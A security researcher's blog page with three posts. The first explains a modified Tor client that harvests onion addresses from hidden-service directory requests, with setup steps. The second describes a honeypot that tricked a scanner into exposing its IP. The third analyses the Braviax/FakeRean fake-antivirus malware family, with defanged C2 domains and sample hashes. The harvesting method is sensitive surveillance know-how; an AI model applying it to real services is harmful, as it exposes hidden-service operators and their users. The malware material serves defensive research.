0x3a - Security Specialist and programmer by trade

I'm a guy with a blog, and I write entries sometimes (years apart in some cases...)

[0x3a]

Monitoring 'DNS' inside the Tor network

Every once in a while Lennart Haagsma (a colleague and friend) and me think of new projects to work on. Anything that peaks our interest at the time gets on a list. When we actually end up going through with building one of the projects on the list we usually only get to a POC stage and we stop working on it. This is mostly because the fun of building and/or researching is gone at the point that it is fully functioning.

About 2 years ago we decided we wanted to do something with the Tor network. One of the things we'd been interested in at work was passively monitoring and researching DNS on the 'normal' internet. This started our quest of figuring out how DNS worked for hidden services inside the Tor network. For this project we actually ended with a set of completed tools including a modified Tor client to do our work. The end product of everything combined, including a small web interface to explore collected data, currently looks like this:

The code for this project can be found here: https://www.github.com/0x3a/tor-dns/. How to run this project and set it up properly will be explained in the rest of this blog.

Introduction

Although we call it DNS because the current implementation is quite similar to how the DNS system works in general, in detail resolving hidden services within Tor works quite differently. The 'resolving' of hidden services, just like the rest of the aspects of the Tor network, is designed to ensure anonymity of the user as well as the hidden service itself. Our research (and this article) concludes that while hidden services have anonymity in terms of nobody knowing their real IP address or location they have no anonymity for the fact they exist and how to reach them. Mass collection of onion addresses already occurs and has been possible for a long time. Most recently there was a talk at DEFCON 24 titled 'Honey Onions: Exposing Snooping Tor HSDir Relays' which investigated this subject. The researchers setup hidden services for the purpose of seeing who would end up on it without advertising their onion address anywhere. For some tests almost immidiately after announcing to HSDirs (Tor DNS servers) their hidden service would be visited and in some cases attacked. This gave clear indication onion collection is already occuring on a large scale with malicious intent in some cases.

A good thing to know is that the people from the Tor Project have been actively working to improve this system and have been working on 'Next-Generation Hidden Services in Tor' since late 2013. This new generation of the hidden services will not allow mass collection/harvesting of onion addresses as the onion address will only be known to the hidden service and the client trying to visit it. Exact details of the improvements and design can be found on the Tor Project gitweb proposals section: 224-rend-spec-ng.txt. After the completion of this system, any newly generated hidden services following this spec will not be captured using the logging methods described here. Hidden Service operators that do not generate a new hidden service will still follow the old system due to compatability.

Hidden Services, Directories and Onion addresses

This section is a high-level overview of how the Tor network implementation works in terms of hidden services and hidden service directories in relation to onion address harvesting. Would you want exact technical details you will have to read the offical Tor rendezvous protocol design document: rend-spec.txt.

As described on the "Tor: Hidden Service Protocol" page on the Tor project website a hidden service is made reachable for a client reachable via:

Introduction points by which connectivity is arranged to actually reach the service.

Hidden Service Directories which allows clients to figure out the introduction points for a specific hidden service. (On a high-level they function as a DNS server for hidden services.)

Hidden services generate a descriptor file which clients can use to reach them. These descriptors contain the introduction points for this hidden service as well as some additional information. A hidden service publishes this descriptor file to a fixed amount of Hidden Service Directories about every X amount of time. The exact hidden service directories a hidden service publishes this file to changes every time of publication. Clients will perform lookup requests to hidden service directories to get the descriptor file for the hidden service they want to reach.

This request the client performs doesn't contain the actual onion address but because the onion address can be calculated from the descriptor it means any succesfully 'resolved' request from a client can be logged with the actual requested onion address.

To log these requests we patched the rendevous code in directory.c around line #3006 in the Tor client sourcecode. Additionally an extra function was added to convert the descriptor information to an actual onion address as wel as an extra log-type named HSDIR_REQUEST to specify the log reason. With this simple modification we can now log any request a client makes. Examples of the logs can be seen in the section below called 'Running your own onion address collection system'.

One thing that is left open and we will not discuss in detail (or release code for) is the other way to log/harvest onion addresses. A hidden service, as explained, announces itself to hidden service directores, this directory could log any published descriptor file. Its trivial to implement but gives you a lot of additional data (not every hidden service you have in your database will be requested). We'll leave this as an excercise for the reader to implement.

Using the collected onion addresses

Besides it just being interesting to browse around and look at what kind of services are available in the Tor network there were some active use-cases for this collection. I've documented a few examples below.

Darkweb market monitoring

At the end of 2014 the FBI, together with other agencies, took down Silkroad 2.0 the famous darkweb drugs and services market. About 2 days later a new market appeared called 'Silkroad Reloaded' which was tweeted about a day after it came online:

#Silkroad 3 is has already appeared "Silk Road Reloaded" (http://qxvfcavhse45ckpw.onion) pic.twitter.com/lvc3SCpoYu

— Yonathan Klijnsma (@ydklijnsma)

November 8, 2014

The only reason this was found was simply searching for any onion addresses that appeared after the takedown date and contained 'silkroad' in their title or address in some form. This allowed the new market site and forum to be picked right after it was setup.

Of course we weren't the first to know about it, the only reason we are seeing it is because other people were browsing for it meaning someone knew about it before us.

Monitoring criminal infrastructure

Since 2013 I had, in personal time and during work, been monitoring a group of criminals that were running a ransomware operation named 'CryptoWall'. Over the years I followed their developments and documented this on the CryptoWall Tracker.

One of the things I was able to do for this group was maintain a good view on their infrastructure inside the Tor network. For this I used my own onion collection server which would, on the collected hidden services, retrieve their favicon.ico file from the webserver root (would the service be running a web server). The return data from this request was hashed and compared against a set of known values. These known values were the favicons the criminals, for some weird reason, always had custom set on their servers. The icons can be seen in the infrastructure subpage on the CryptoWall tracker: [Infrastructure].

This position allowed me to quickly investigate any new developments for this group and share this amongst peers for further investigation.

Finding new criminal infrastructure: Ransomware

Back in 2015 I published a blog about a new ransomware strain named 'CryptoApp'. I found this ransomware by checking the content of the pages for the scraped onion addresses I had in my personal Onion Viewer instance. This viewer is slightly modified as it also stores full page content so I can do raw searches for html content. I do not however store any resources remotely linked for various reasons. You can read about the ransomware and the full analysis on my blog: Analysis of a piece of ransomware in development: the story of 'CryptoApp'.

Interestingly the hidden service went offline before my blog was published. However, a few days later I was pointed to an active spam campaign in Italy in which the ransomware was actually used to target people's machines. Development of the ‘CryptoApp’ ransomware finished; changes & active campaign

Monitoring occurences inside the Tor network

In February of this year there was an unusual spike in announced hidden services inside the Tor network.

A lot of news agencies picked up on this but nobody seemed to have an explenation for what was going on. From my own probe all that I could see were the announcement of these services, never did any of them actually get resolved by a client. Interestingly trying to resolve any of these addresses myself it was never possible to rendezvous with them meaning I could never connect to them.. An interesting attack on the Tor network (some operators complained their HSDirs started crashing) or a research project to be presented at a conference next year? Who knows.

Previous work

One of the things we did when we were reading the Tor documentation is check if anybody else had done something like this. It turned out someone actually had done this back in 2013 which could well have been the reason the design of next generation hidden services protocol was started the same year.

The research was done by Donncha O'Cearbhaill and published on his blog in May 2013, you can read his research it here (its really good): Trawling Tor Hidden Service – Mapping the DHT. Parts of the modified Tor client source code was based on his work.

Running your own onion address collection system

As said in the introduction we ended up with a set of tools that were combined to form our onion collection system, we've decided to make the code for this public. This system consists of 4 parts for realtime aggregation of onion address collection, there is one additional tool available that will be described in a sub section. The 4 'core' parts of the system:

Modified Tor client

onion-publisher (collects hsdir requests from the running client and forwards them to the receiver)

onion-receiver (receives hsdir requests, processes them and puts them in a database)

'Onion Viewer' web interface (allows you to browse the collected onion address data)

While everything could have been put in one application it was split up in different components. This was done for a sample reason: flexibility to be able to split up infrastruacture. It means you're able to run multiple Tor nodes on different servers and stream the requests from those Tor nodes to one backend server and ingest the data in one place to make analysis easier.

You can get all the components to run your own collection system here: https://www.github.com/0x3a/tor-dns/. The next sections will explain how to setup these modules

Tor client

The modified Tor client source can be compiled by simply running the following two commands:

user@tornode:~/tor-0.2.6.1-alpha$ ./configure checking for gethostbyname_r... yes checking how many arguments gethostbyname_r() wants... 6 checking whether the C compiler supports __func__... yes checking whether the C compiler supports __FUNC__... no checking whether the C compiler supports __FUNCTION__... yes checking whether we have extern char **environ already declared... yes checking that generated files are newer than configure... done configure: creating ./config.status config.status: creating Doxyfile config.status: creating Makefile config.status: creating contrib/dist/suse/tor.sh config.status: creating contrib/operator-tools/tor.logrotate config.status: creating contrib/dist/tor.sh config.status: creating contrib/dist/torctl

After having confirmed you have all the prerequisites you can build the Tor binary:

user@tornode:~/tor-0.2.6.1-alpha$ make make all-am make[1]: Entering directory `/home/user/tor-0.2.6.1-alpha' CC src/or/src_or_libtor_testing_a-rendclient.o

After compiling you should have a binary located at src/or/tor which you can run:

user@tornode:~/tor-0.2.6.1-alpha/src/or$ ./tor -v Oct 26 12:00:00.000 [notice] Tor v0.2.6.10 (git-58c51dc6087b0936) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.1f and Zlib 1.2.8. Oct 26 12:00:00.001 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning Oct 26 12:00:00.001 [warn] Command-line option '-v' with no value. Failing.

After this you will have to build a torrc file which is a configuration file for the Tor client. While you can keep the default settings, there are 2 things you need to enable / set to ensure that your node will become a Hidden Service Directory and that the correct log output is generated.

The first option that needs to be set is logging. Within the Tor client there are different levels of log entries. For the specific 'DNS' requests we need to enable the 'notice' level to be logged to a file. You can do this by specifying the following line in the torrc config file:

Log notice file

The second option is to tell the Tor network you would like to function as a directory, you can do this by specifying the following line in the torrc config:

DirPort 9030

After setting up your configuration file (you can simply grab the one located in src/config/torrc.example.in and edit it) you can run the Tor client. You specify your torrc file with the -f flag:

user@tornode:~$ ~/tor-0.2.6.1-alpha/src/or$ -f /home/user/torrc Oct 26 12:00:00.000 [notice] Tor v0.2.6.10 (git-58c51dc6087b0936) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.1f and Zlib 1.2.8. Oct 26 12:00:00.000 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning Oct 26 12:00:00.000 [notice] Read configuration file "/home/user/torrc". Oct 26 12:00:00.005 [notice] Opening Socks listener on 127.0.0.1:9050 Oct 26 12:00:00.005 [notice] Opening OR listener on 0.0.0.0:9001 Oct 26 12:00:00.005 [notice] Opening Directory listener on 0.0.0.0:9030

Now you will have to wait for the authorities to vote for your status to become a directory, this takes up to 96 hours. You can check your status on the Tor Atlas website by checking your IP address. Once you have received the flag you will start to see requests like this come in:

Oct 26 12:00:00.000 [notice] HSDIR_REQUEST|6eoyaaogpxkipv6lelirmerpbm|76qugh5bey5gum7l Oct 26 12:00:00.000 [notice] HSDIR_REQUEST|6eoyaaogpz4bf6x6kipvmerpbm|76qugh5bey5gum7l Oct 26 12:00:00.000 [notice] HSDIR_REQUEST|xsgossyphypyqpyz6vhnnix2t3|None Oct 26 12:00:00.000 [notice] HSDIR_REQUEST|6erx3mhciaxtcfpdbpklq6hwif|None Oct 26 12:00:00.000 [notice] HSDIR_REQUEST|6eospmff2w7mbclhid6gxnjq2r|m6rgrem34sednagr Oct 26 12:00:00.000 [notice] HSDIR_REQUEST|6exjuuhzp2aeu4vm3o76xt6adq|None Oct 26 12:00:00.000 [notice] HSDIR_REQUEST|6erx3uiizwmmhciaxtcfpdbpkf|None Oct 26 12:00:00.000 [notice] HSDIR_REQUEST|6exv6xsq36kbjlgf3b7fk4mzrv|None Oct 26 12:00:00.000 [notice] HSDIR_REQUEST|6eospmff2w77dclhid6gxnjq2r|m6rgrem34sednagr Oct 26 12:00:00.000 [notice] HSDIR_REQUEST|6erx3uiizwmmhciaxtclq6hwif|None Oct 26 12:00:00.000 [notice] HSDIR_REQUEST|6erx3uiciaxtcfpdbpklq6hwif|None Oct 26 12:00:00.000 [notice] HSDIR_REQUEST|6eospmff2w77dclhid6gxnjq2r|m6rgrem34sednagr Oct 26 12:00:00.000 [notice] HSDIR_REQUEST|6exyzl2c2cwrln4fs6gj4kvahg|None Oct 26 12:00:00.000 [notice] HSDIR_REQUEST|6exv6xslgf3qqd6zjb7fk4mzrv|None Oct 26 12:00:00.000 [notice] HSDIR_REQUEST|6eos77d3ggrmbclhid6gxnjq2r|m6rgrem34sednagr Oct 26 12:00:00.000 [notice] HSDIR_REQUEST|6erx3uiizwxtcfpdbpklq6hwif|None Oct 26 12:00:00.000 [notice] HSDIR_REQUEST|6eppb73j2n5zk5bk7kc4yrqick|None

The format of these logs is HSDIR_REQUEST||, the None will be seen for requests you cannot 'resolve' for a client. On average you will be not be able most of the requests you receive.

If you have this running it means your Tor client setup is done, now you will have to start processing the logs.

onion-publisher

The onion-publisher simply tails the logfile specified in the torrc configuration file you created earlier. It supports commandline arguments to specify networking setup and which file to monitor:

user@tornode:~$ python onion-publisher.py -h usage: onion-publisher.py [-h] [-l LISTEN] [-p PORT] [-n NOTICELOG] optional arguments: -h, --help show this help message and exit -l LISTEN, --listen LISTEN address to listen on (default: 127.0.0.1) -p PORT, --port PORT port to listen on (default: 5556) -n NOTICELOG, --noticelog NOTICELOG notice logfile from the Tor client to tail (default: notice.log)

The tool has defaults for all the arguments that will make it publish locally and read the 'normal' default tor logfile named notice.log. If you plan to run everything locally (client, publisher, receiver & onionviewer) you can simply run the script without any arguments.

Once the tool is running, in this example with default settings, its output should start looking something like this:

user@tornode:~$ python onion-publisher.py [+] ---- onion.watch ZMQ publisher started on tcp://127.0.0.1:5556 ---- [+] Tailing notice log 'notice.log' [+] Sending new request: 1477483200000.000000|76qugh5bey5gum7l

This tool sets up a local ZMQ publisher to which the onion-receiver tool can subscribe to start receiving the hidden service queries.

onion-receiver

The onion-receiver tool subscribes to the onion-publisher ZMQ node to receive all the published onion addresses. It parses these addresses and inserts it into a SQLite database with a first seen, last seen and the amount of times it was requested. Just like the publisher it has a set of commandline flags to control input and output:

user@tornode:~$ python onion-receiver.py -h usage: onion-receiver.py [-h] [-a ADDRESS] [-p PORT] [-d DBFILE] [-t TITLE] optional arguments: -h, --help show this help message and exit -a ADDRESS, --address ADDRESS address to connect on (default: 127.0.0.1) -p PORT, --port PORT port to connect on (default: 5556) -d DBFILE, --dbfile DBFILE SQLite database filename to save results in (default: onion.db) -t TITLE, --title TITLE Sets a flag to grab page titles from hidden services (default: True)

The address and port flags are the ones set in the onion-publisher, as it connects to this. The database file flag is the output file for the sqlite database, it the file already exists it simply tries to update entries in this database. This database is what the onion viewer component uses to display the collected data.

The default settings will ensure it connects locally to the onion-publisher who has similar default settings. Running the tool without any flags (together with an already running publisher and Tor client) gives you the following output:

user@tornode:~$ python onion-receiver.py [+] ---- onion.watch importer connecting to publisher at tcp://127.0.0.1:5556 ---- [+] ---- connected to onion publisher, awaiting messages --- [+] Received new request: 1477483200000.000000|76qugh5bey5gum7l [+] Obtaining page title for: 76qugh5bey5gum7l.onion [+] Added 76qugh5bey5gum7l.onion

As you can see there is a log entry about obtaining a page title. We assume the hidden service is a web service (many are) and will grab the page title automatically. The way we do this is really really hacky and ugly. We use torsocks to proxy wget over Tor to grab the whole index page of the hidden service which is then parsed using a regex to find the page title. This is done by spawning a seperate commandline process, the commandline command that is executed looks like this:

torsocks wget -qO- '.onion' | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si'

You can disable the automatic fetching of page titles by specifying the -t or --title tag as False.

Onion Viewer

The onion viewer component is a web-app written using the Flask web development framework. It is a simple web GUI for the collected onion data. The SQLite database generated by the onion-receiver can be viewed with this web-app. It can be configured from the commandline. If you specify no arguments it will use default settings which match those from the other components (only prerequisite is that the receiver's output SQLite database is in the same directory):

user@tornode:~$ python onion-viewer.py -h usage: onion-viewer.py [-h] [-l LISTEN] [-p PORT] [-d DATABASE] optional arguments: -h, --help show this help message and exit -l LISTEN, --listen LISTEN address to listen on (default: 127.0.0.1) -p PORT, --port PORT port to listen on (default: 8081) -d DATABASE, --database DATABASE database file (default: onion.db)

When it is up and running (with some data in the database) it will look something like this:

Additionally if you click the information i symbol you will be taken to a subview on only the onion address (this also shows the page title):

noticelog-import

This tool was added as an extra. It is similar to the onion-receiver tool but instead of listening over ZMQ to a publisher's new onion addresses it will parse the Tor client notice log file. From this it generates a database identical to the onion-receiver utility. This tool allows you to sort of replay a notice log would you ever corrupt your database or have old notice logs you want to add to your data set. You run the tool from the commandline by specifying the correct settings as shown in the help:

user@tornode:~$ python noticelog-import.py -h usage: noticelog-import.py [-h] [-n NOTICEFILE] [-y LOGYEAR] [-d DBFILE] [-t TITLE] optional arguments: -h, --help show this help message and exit -n NOTICEFILE, --noticefile NOTICEFILE Tor notice log to parse (default: notice.log) -y LOGYEAR, --logyear LOGYEAR Year the notice log was generated in (notice log itself doesnt specify this) (default: 2016) -d DBFILE, --dbfile DBFILE SQLite database filename to save results in (default: onion.db) -t TITLE, --title TITLE Sets a flag to grab page titles from hidden services (default: True)

One thing to keep in mind is that by default the Tor logging system does not specify a year in the log entries. For this reason the -y or --logyear flag was added in case your log is not from the year you are importing these logs (by default it just picks the current year).

[0x3a]

Playing games with an attacker: how I messed with someone trying to breach the CryptoWall tracker

The game I played with an attacker described in this blog was inspired by a TED talk where someone played games with a 419 scammer: James Veitch - This is what happens when you reply to spam email

On February 10th I released a wealth of information on the CryptoWall ransomware. I structured all the information about CryptoWall on a website and made it public in the form of a website known as the 'CryptoWall Tracker': https://www.cryptowalltracker.org/

When running a publicly accessible website you can expect to get 'free security advise' from the internet in the form of web pentesting and whatnot. Most of the scans (pentests) are automated for all kinds of reasons; be it compromising websites to abuse it for CryptoWall proxies (as described [ here ]), or simply defacing it for Zone-H 'credits'.

Some weeks ago I noticed someone started to poke the CryptoWall tracker website, this article describes the fun I had messing with the attacker (I'm assuming it was one person, more on that later).

The CryptoWall tracker setup

To make sure this story makes some sense I want to explain how the website is setup.

The website itself (the content) is 100% static, there is nothing dynamic on the website anywhere. All pages are rendered on my personal device and uploaded to the server using SCP. The reason for making the website completely static is mostly because of security. The website isn't a constantly updating website with lots of interaction happening so I feel a lot safer making it completely static; it doesn't impede my ability to work on it or visitors to view and/or use it.

The webserver serving the static content runs behind CloudFlare to filter out the internet noise (various automated scans), serve the website over SSL and reduce traffic by allowing CloudFlare to cache everything. This does mean I give away some 'control' over the website itself but on the other hand it also means the website is always online. One of the features I've enabled on the website is 'Always Online' which means that CloudFlare will always cache a latest version of the website even when the real server hosting it goes offline (it will tell the user this occured when serving a cached version). Another advantage of having CloudFlare in this situation is the reduction of requests that actually hit my server. All the internet-noise and normal (known) scanners are blocked by CloudFlare's automatic filtering of possible 'harmfull' requests. Another way I reduced the amount of request on the backend server is by enabling a 'Cache-everything' page rule on the whole website. This means only 'new' requests that haven't been cached yet will hit my server; I only get unique requests that pass by all of these filters.

Because CloudFlare is pretty good at blocking all the automated scanning tools I usually only see the tools that get rate-limited really badly (any frequent hitting of anything but 200 OK gets you a CloudFlare captcha) or manual testing.

First 'attack'

I was performing some maintenance on the server (cleaning up old useless files consuming disk space and cleaning some NGINX configs) and I noticed the access log was bigger than usual. Normally the access log for the server is really really small. Only when I clear the cache on the CloudFlare page (because I made some changes to the website) I see some initial requests before the pages are cached again.

In the logs there were a lot of requests from what seemed to be a Python based scanner. The timing on them (and the fact they bypassed CloudFlares' filters) made me think it was someone doing manual work. Here's a small grab of requests from the attacker looking for some kind of adminstration page on the tracker website:

[01/Mar/2016:18:24:16 +0100] "GET /administrator/ HTTP/1.1" 404 0 "-" "python-requests/2.2.1 CPython/2.7.6 Linux/2.6.32-042stab092.1"

[01/Mar/2016:18:24:54 +0100] "GET /admin/ HTTP/1.1" 404 0 "-" "python-requests/2.2.1 CPython/2.7.6 Linux/2.6.32-042stab092.1"

[01/Mar/2016:18:25:37 +0100] "GET /adm/ HTTP/1.1" 404 0 "-" "python-requests/2.2.1 CPython/2.7.6 Linux/2.6.32-042stab092.1"

This goes on for quite some time, there's about 80 requests in the first hour of the 'scan'. When I saw how slow the requests were coming in I felt like someone was typing them manually... or at least copy pasting them into a browser. I decided to see if I could make this person play a game, my game :)

The first thing I did was check the IP address the guy was coming from which seemed to be a Tor exit node. I checked the Tor project site to see if the node was still listed to be active and it was; bad luck, the guy seems to be coming in through Tor.

Looking at the requests I could sort of predict where he would be going. He was basically trying to find specific folders based on some kind of list. When he had a hit (a folder didn't 404) he'd start requesting subfolders from the same list. When he was out of folders he'd go through a whole set of files ranging from backups to configurations and whatnot. After the guy hit the 'css' folder correctly (this is just where the tracker website's CSS style sheet are stored) I could get a list of what files he was searching for. Based on this list of files the attacker was looking for I decided to start my game.

The game: Moving location

First of, I needed to lure the guy away from the tracker website. CloudFlare was caching all his requests and some of them were hitting the filters. Seeing as the 'scan' didn't stop he probably was typing in the captcha codes every time (also noticed this in timing, he'd have some long(ish) delays in requests every once in a while).

The guy obviously knew I was using CloudFlare and providing him with a non CloudFlare IP would be appealing to him to investigate. I decided to plant an error disclosing an IP address to lure him away from CloudFlare. I planted the following page at /data/test.php:

This error is normally shown when a mysql_connect call in PHP fails to connect to a server for some reason. In this case I planted the text, its just static text I copied from a different website with some slight modifications. The IP (under the red scribbles) was the server I hoped the attacker would go to.

I planted the message and waited for him to hit the path. About 2 days later I received a request for the file after he explored the /data/ folder. Interestingly as soon as the request occured I did not see any other requests I could relate to this same attacker hitting the CryptoWall Tracker website. I had my fingers crossed for hits on the VPS...

The game: Crack hashes and get access

About an hour after the attacker found the error page I planted I received a request on the VPS. The attacker started with requesting the index, the user-agent was still "python-requests/2.2.1 CPython/2.7.6 Linux/2.6.32-042stab092.1" which was my way of confirming it was the same person.

When I prepped the VPS I did a clean NGINX install and set static files to be served and a Python bottle application. This time I created my bait files under /backup/ which would allow directory listing. The directory contained sql files (looking to be backup files) of which only one would return a dump, the others returned an NGINX forbidden page. It looked like this:

Now all I needed was a good looking sqldump from what looks to be a settings table. I found a pretty cool website to generate fake mysql dumps (amongst a ton of other file formats) named [ generatedata.com ]. I generated the following sql dump supposedly being the 'cwt-mysql-settings-backup-01032016' file shown in the directory listing:

It shows a (really simplistic) usertable which is supposed to look like some kind of automated backup from a database. I generated this data and manually added the two passwordhash entries. The hashes are MD5 hashes of 'test123' for the test account and 'Crypt3d' for my supposed account >:). If you grab the hashes and throw them towards one of those online MD5 'cracking' services you'll get those two passwors back pretty quickly. I don't know whether the attacker actually cracked the hashes manually or used a site but as soon as he had the sql dump he didn't reappear for about 3 days.

When the attacker hadn't returned after a day or so I first thought I lost the guy since I was making it pretty damn easy. You could poke holes in the setup pretty easily I felt.

The game: gain access

The idea I had with the MYSQL dump files was to get the guy to crack the hashes (be it online or offline) and use the passwords to login to what he would think would be the panel for managing the tracker website.

I created a small bottle application to server as the 'administration panel' for the CryptoWall tracker. It could be requested on '/administration/login' and looked like this:

Really, really, really simplistic because I had to set it up really quickly. The attacker actually found this page long before he reached the backup folder (with the fake MYSQL dumps) right after he transfered his attack from the CloudFlare based tracker website to this VPS.

To login to the panel you have to use 'my' account from the fake MYSQL dump, username 'yonathan' and password 'Crypt3d'. When you login to the 'panel' you can get one of two pages. What I wanted to do is see if I could get the attacker to expose his real IP address. I loaded up all known Tor exit nodes from the Tor Project website feed here: https://check.torproject.org/exit-addresses. When you login with an IP address what shows up in that list you get:

I hoped that by adding the last sentence "You have been logged out" it would force the attacker to think "shit I still haven't reached the panel yet but the login data was correct". When he would use an IP that wasn't listed as an exit node it showed this page:

The website I refer to (internetpolice.us) is actually maintained by a buddy of mine named Dan Tentler, he's @Viss on Twitter. I hoped that the attacker would understand he'd perfectly played into my game when reaching this page.

As I noted before, the attacker dissapeared for a long time after he found the MYSQL dumps. About 3 days after he found the sql dumps the attacker accessed the panel, logged in, got the block page and... 3 minutes later he logged in from a non Tor IP address. A residential Ukranian IP address logged in to my fake panel.

Thank you for playing my game, my Ukranian friend. Of course it doesn't mean this was his home IP address perse, it could be some kind of compromised box being used as a proxy but I really hope he messed up.

Conclusion(s)

I have poor skills in setting up a proper faked setup. This is just my personal opinion. It wasn't as nicely done as I wished mostly due to the fact that there was a lot to quickly setup (fake pages, etc) because the attack was ongoing. I also wonder if I can come up with a better 'game' for the next attacker poking my website(s). Funny thing though, IP history for the VPS IP would have shown what I had runnin on that IP before. Luckily for me this attacker did nothing like that and played into it perfectly... I still can't believe this actually worked :).

I've made all the files used in my honeypotting game available on Github for those who might find it interesting or useful. Keep in mind the Python code is horrible, it works but it was rushed horribly.

Github repository: https://github.com/0x3a/playing-games-with-an-attacker

[0x3a]

Inside Braviax/FakeRean: An analysis and history of a FakeAV family

Since September 2014 I've been seeing a FakeAV family pop up from time to time. This family is known under two names, Braviax and FakeRean. The family has been active for quite some years, it was first spotted by S!Ri back in April 2009. In this blogpost I will perform an analysis on the current version of this family making it's rounds online and a history of it starting back in 2009. A big thank you goes out to S!Ri for sharing some historical data on this group. The reason why I'm releasing this article now on a group active back in January of this year is that, if you follow the timeline I show below, is that they should have reappeared around this time of year (although I haven't seen them yet).

The Braviax/Fakerean family has quite some similarities with the Tritrax (dubbed Namechanger FakeAV) family I analyzed and hunted down back in February 2014 (Post: Analysis of the Tritax FakeAV family, their active campaign and the FakeAV social engineering kit). Braviax/Fakerean is also one constantly changing its name as you can see from a combination of screenshots made from samples starting in September 2014 until the start of January 2015:

As said, back in September 2014 this new variant became active. After seeing it pass by multiple times I decided to look into it a bit. At some point I started noticing the name changes due to the fact that the website, website banner and the actual 'antivirus' names didn't match up at all, I tweeted about this on the 27th of September:

#FakeAV website calls it 'Rango Antivirus', banner 'Win XP Security', sample run 'A-Secure' (https://t.co/EgYDdzDqFd) pic.twitter.com/i1amKQLsIy

— Yonathan Klijnsma (@ydklijnsma)

November 27, 2014

From this point on I started looking into this FakeAV threat some more, it started to hit quite often. Quite quickly I could pin this as one as part of the Fakerean/Braviax family and started to analyze it.

Analysis: Spreading mechanism

We'll start the analysis of this family with the method of how it was spread, simply by mail. Around the 18th of December 2014 fake FedEx emails began to appear, one of these carying methods of infecting victims with this FakeAV. The email looked like this: In the emails' attachment we find a JS file: Inside of this script we find a large piece of obfuscated script: If we clean it up we can see its just a simple downloader which tries to infect the user with 3 pieces of malware (shotgun approach much..): From the three payloads only one is the interesting one for this article; its the Braviax/FakeRean sample. Would you want to perform a more detailed analysis (rather than the very short one below), the sample coming from this email and used further is: 1d01611a1f88c7015c54efedacfcbc8fec55ad6de9a438087abff3be78c19901

Quick analysis: a Braviax/FakeRean sample

Because this article is more about the history of this family rather than the specifics of the FakeAV this part will be a very(!) short analysis of the sample. When ran the FakeAV shows the usual pop-up with information on your system being infected: Additionally when you close the window (or try to close the FakeAV program in any way) a fake Windows security center window will pop-up: In the process of scaring the user the FakeAV copies itself to a new location and installs a registry startup key, the normal persistence method seen. The FakeAV also monitors processes that are running and kills the ones it doesn't like which includes system utilities like taskmgr but also tools like wireshark and alike. All of this to convince the user into buying the 'product' to clean up the 'infection' that stops them from starting these processes. The FakeAV also performs some C2 communication which includes information on the payment C2 service: The client performs a request to the C2 server located at gelun-posak[.]com, the path is an encoded and base64'd unique system ID. The response contains a small config, the partially readable text string 'eo-moquales[.]Nom' is in fact the payment wall which (after decoding) is golen-mortales[.]com. Overal this FakeAV is just alike any other I've written on in the past. Payment service runs on a seperate C2 server while the main C2 server is just for infection registration / statistics. Enough on the malware, lets move on to have a look at this family's history.

The Family

The Braviax/Fakerean FakeAV family has been around for quite some time, @S!Ri first spotted them 6 years ago. Back in around April 2009 samples started to appear for a FakeAV naming itself “Home Antivirus 2009″ and was the first of more to come:

Around the start of July it was followed by a 2nd version called “PC Security 2009″:

A 3rd version appeared at the end of July already, this time called “Home Antivirus 2010″ (even though still being 2009... they were ahead of time it seems):

Near the end of August the 4th installment of the family appeared, this time it was called “PC Antispyware 2010”. This one actually loaded an AV database, stolen from ClamAV (in fact an old one from 2007):

Then in September the 5th version appeared, “Antivirus Pro 2010”:

In 2009 5 versions of the Braviax/Fakerean family hit, from September until the end of January 2010 it was quiet; nothing new appeared. At the end of January a completely changed version appeared, this one changed it appearances depending on whether it ran on Windows XP, Vista or 7. Even under these platforms it had multiple names. Under Windows XP it called itself one of the following names:

Antivirus XP 2010

XP Guardian

XP Internet Security

Under Windows Vista it called itself one of the following names:

Vista Antivirus Pro 2010

Vista Internet Security 2010

Finally, under Windows 7 it called itself one of the following names:

Win 7 Antispyware 2010

Win 7 Internet Security 2010

An interesting move to have some name mangling dependent on the platform. After they pushed these it stayed quiet until November. In November they released a new version with similar names, only the year was bumped from 2010 to 2011. The Windows XP variants for example:

XP Security 2011

XP Antispyware 2011

In february 2011 a new version appeared with slightly updated names and GUI layout:

XP Anti-Virus 2011

XP Home Security 2011

XP Anti-Spyware

In the end of June 2011 another updated version was released. Again some updated OS based name mangling changes and updated GUI:

XP Internet Security 2012

Win7 Internet Security 2012

Another slightly updated version appeared in the end of November 2011, still based on the OS based name mangling:

January 2012 a new updated version, GUI mostly, got pushed:

In the start of October 2012 another slightly updated version appeared. Mostly GUI changes and again still based on the OS version name mangling:

Then almost a year later at the start of September 2014 the version from my analysis appeared. An entirely updated GUI and new names showed a big change. It appeared under the following names (with OS version names displayed, although not all use it):

Sirius (Win 7|Win 8|Vista) Protection 2014

Zorton (Win 7|Win 8|Vista) Protection 2014

Rango (Win 7|Win 8|Vista) Protection 2014

A-Secure 2015

AVbytes (Win 7|Win 8|Vista) Antivirus 2015

AVC Plus

GUI wise it looks like this (name stripped as its templated in the GUI at runtime):

However in the end of September 2011 a sort of offspring appeared as well named Advanced PC Shield 2012, another one appeared in August 2012 called Win 8 Security System:

Eventhough this version is also ranked in the Braviax/Fakerean family it looks somewhat different in setup.

Conclusion

The Braviax/Fakerean family has been around for a long time appearing as early as April 2009 and seems to be a success as new reincarnations appear every year. While they aren't as big as a threat as banking malware or ransomware it does pay well for these criminals. Because of their 'low' volume and simply being scareware not a lot of attention is given to them. I'll be keeping an eye on them for future campaigns for sure though :)

IOC's & Samples

The following is a list of samples for the last version spreading from September 2014 to December 2014. No new ones have appeared as of writing this blog article.

42f25bda3f8de7c99b1ebbab83f742e8f98528cb466511c3426ca59ba6a0d06c

f25bf1897ac640c8f9e4cf87897e94f717acffa825fedf772861c8ac68bcc913

3b93570e402935d2b898c4f07851ea5f597a136d8b88a9e1ab2eb67bcd143f11

55806f8d10acda611dd291fd7ef9205cc5e3845cbfbb44de298387724d979f9c

1d01611a1f88c7015c54efedacfcbc8fec55ad6de9a438087abff3be78c19901

376f1d7b49b8906ca06feef2291e25a5a205d1cd2e3c37effba4311634ef0b53

49c609b289ab86dbb001cacec5ff638380f5a4c78dd7e8ffcd7187123349b5e6

f2d67162f4a4af113977a33846b34d47b63160616e0520c7cc3f76eb52755448

66eb191716d08898f8cc6f2663ef594279a95ed2542c4086618199c040de67f2

810b40d5b9cff4690eca167edd8765c8875172c2601656f8cd89cf8e66a72cc7

